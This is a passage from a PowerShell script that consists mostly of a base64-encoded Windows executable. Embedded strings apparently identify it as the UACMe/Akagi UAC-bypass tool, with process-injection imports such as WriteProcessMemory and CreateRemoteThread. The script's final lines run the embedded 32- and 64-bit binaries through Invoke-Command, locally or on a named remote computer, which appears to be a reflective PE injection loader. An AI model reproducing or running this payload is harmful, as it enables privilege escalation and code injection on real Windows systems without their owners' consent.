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IZWFwQWxsb2MAnQJHZXRQcm9jQWRkcmVzcwAAogJHZXRQcm9jZXNzSGVhcAAA6gVXcml0ZVByb2Nlc3NNZW1vcnkAAJ4FVmlydHVhbEZyZWUAYQVUZXJtaW5hdGVQcm9jZXNzAACrBVdhaXRGb3JTaW5nbGVPYmplY3QAUgVTbGVlcAD6A091dHB1dERlYnVnU3RyaW5nVwAAfwBDbG9zZUhhbmRsZQCcBVZpcnR1YWxBbGxvY0V4AABnAkdldE1vZHVsZUhhbmRsZVcAAKUAQ29weUZpbGVXANwAQ3JlYXRlUmVtb3RlVGhyZWFkAADJAUdldENvbW1hbmRMaW5lVwAJAkdldEN1cnJlbnRQcm9jZXNzAFEBRXhpdFByb2Nlc3MAUARSZWFkRmlsZQAA4QVXcml0ZUZpbGUA/ARTZXRGaWxlUG9pbnRlcgAANwJHZXRGaWxlSW5mb3JtYXRpb25CeUhhbmRsZQAA4gJHZXRUZW1wUGF0aEEAAFACR2V0TGFzdEVycm9yAAC6AENyZWF0ZUZpbGVBAAcBRGVsZXRlRmlsZUEAXAFGaWxlVGltZVRvTG9jYWxGaWxlVGltZQDNBVdpZGVDaGFyVG9NdWx0aUJ5dGUA4AJHZXRUZW1wRmlsZU5hbWVBAABbAUZpbGVUaW1lVG9Eb3NEYXRlVGltZQCbBVZpcnR1YWxBbGxvYwAAvgJHZXRTdGFydHVwSW5mb1cACwVTZXRMYXN0RXJyb3IAAMIAQ3JlYXRlRmlsZVcA7gNPcGVuUHJvY2VzcwDbAENyZWF0ZVByb2Nlc3NXAACeAUZyZWVMaWJyYXJ5AKcDTG9hZExpYnJhcnlFeFcAAEtFUk5FTDMyLmRsbAAAewN3c3ByaW50ZlcAJQJMb2FkSW1hZ2VXAAA3AUdldERlc2t0b3BXaW5kb3cAAHECUG9zdFF1aXRNZXNzYWdlAD8DVHJhbnNsYXRlTWVzc2FnZQAAtQBEaXNwYXRjaE1lc3NhZ2VXAACJAlJlZ2lzdGVyQ2xhc3NFeFcAAEkDVW5yZWdpc3RlckNsYXNzVwAAvAJTZW5kTWVzc2FnZVcAAHEAQ3JlYXRlV2luZG93RXhXAE0CTWVzc2FnZUJveFcANAFHZXREQwChAERlZldpbmRvd1Byb2NXAABzAUdldE1lc3NhZ2VXAAkBRmluZFdpbmRvd1cA0wFHZXRXaW5kb3dUaHJlYWRQcm9jZXNzSWQAAFVTRVIzMi5kbGwAAPoCU2V0UGl4ZWxGb3JtYXQAABUDU3dhcEJ1ZmZlcnMAGQBDaG9vc2VQaXhlbEZvcm1hdABHREkzMi5kbGwAYAJSZWdDcmVhdGVLZXlXAIUCUmVnT3BlbktleUV4VwCiAlJlZ1NldFZhbHVlRXhXAABUAlJlZ0Nsb3NlS2V5AF0CUmVnQ3JlYXRlS2V5RXhXAEFEVkFQSTMyLmRsbAAANgFTaGVsbEV4ZWN1dGVFeFcAU0hFTEwzMi5kbGwAGQBDb0NyZWF0ZUd1aWQAAPQASUlERnJvbVN0cmluZwAMAENMU0lERnJvbVN0cmluZwBvbGUzMi5kbGwA2ANSdGxHZXRWZXJzaW9uABsDUnRsRGVjb21wcmVzc0J1ZmZlcgCHAU50T3BlblByb2Nlc3NUb2tlbgAAsgFOdFF1ZXJ5SW5mb3JtYXRpb25Qcm9jZXNzALUBTnRRdWVyeUluZm9ybWF0aW9uVG9rZW4A4ANSdGxJbWFnZU50SGVhZGVyAADrAE50Q2xvc2UAbgRSdGxOdFN0YXR1c1RvRG9zRXJyb3IAbnRkbGwuZGxsAEkAUGF0aEZpbGVFeGlzdHNXAFNITFdBUEkuZGxsAC0AZ2xDb2xvcjRpABAAZ2xDbGVhcgBRAGdsRW5kALUAZ2xNYXRyaXhNb2RlAABLAGdsRHJhd1BpeGVscwAA9ABnbFJlYWRQaXhlbHMAAFkBd2dsQ3JlYXRlQ29udGV4dAAApABnbExvYWRJZGVudGl0eQAACgBnbEJlZ2luAEEBZ2xWZXJ0ZXgyaQAAZAF3Z2xNYWtlQ3VycmVudAAASQBnbERyYXdCdWZmZXIAAE9QRU5HTDMyLmRsbAAAQ2FiaW5ldC5kbGwArQRSdGxVbndpbmQAowVWaXJ0dWFsUXVlcnkAAIIFVW5oYW5kbGVkRXhjZXB0aW9uRmlsdGVyAABDBVNldFVuaGFuZGxlZEV4Y2VwdGlvbkZpbHRlcgBtA0lzUHJvY2Vzc29yRmVhdHVyZVByZXNlbnQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAWTGQAAAAAAAAAAAAAAALEZv0RO5kC7AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA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" + if ($ComputerName -eq $null -or $ComputerName -imatch "^\s*$") + { + Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes64, $PEBytes32, $ExeArgs) + } + else + { + Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes64, $PEBytes32, $ExeArgs) -ComputerName $ComputerName + } +} +Main +}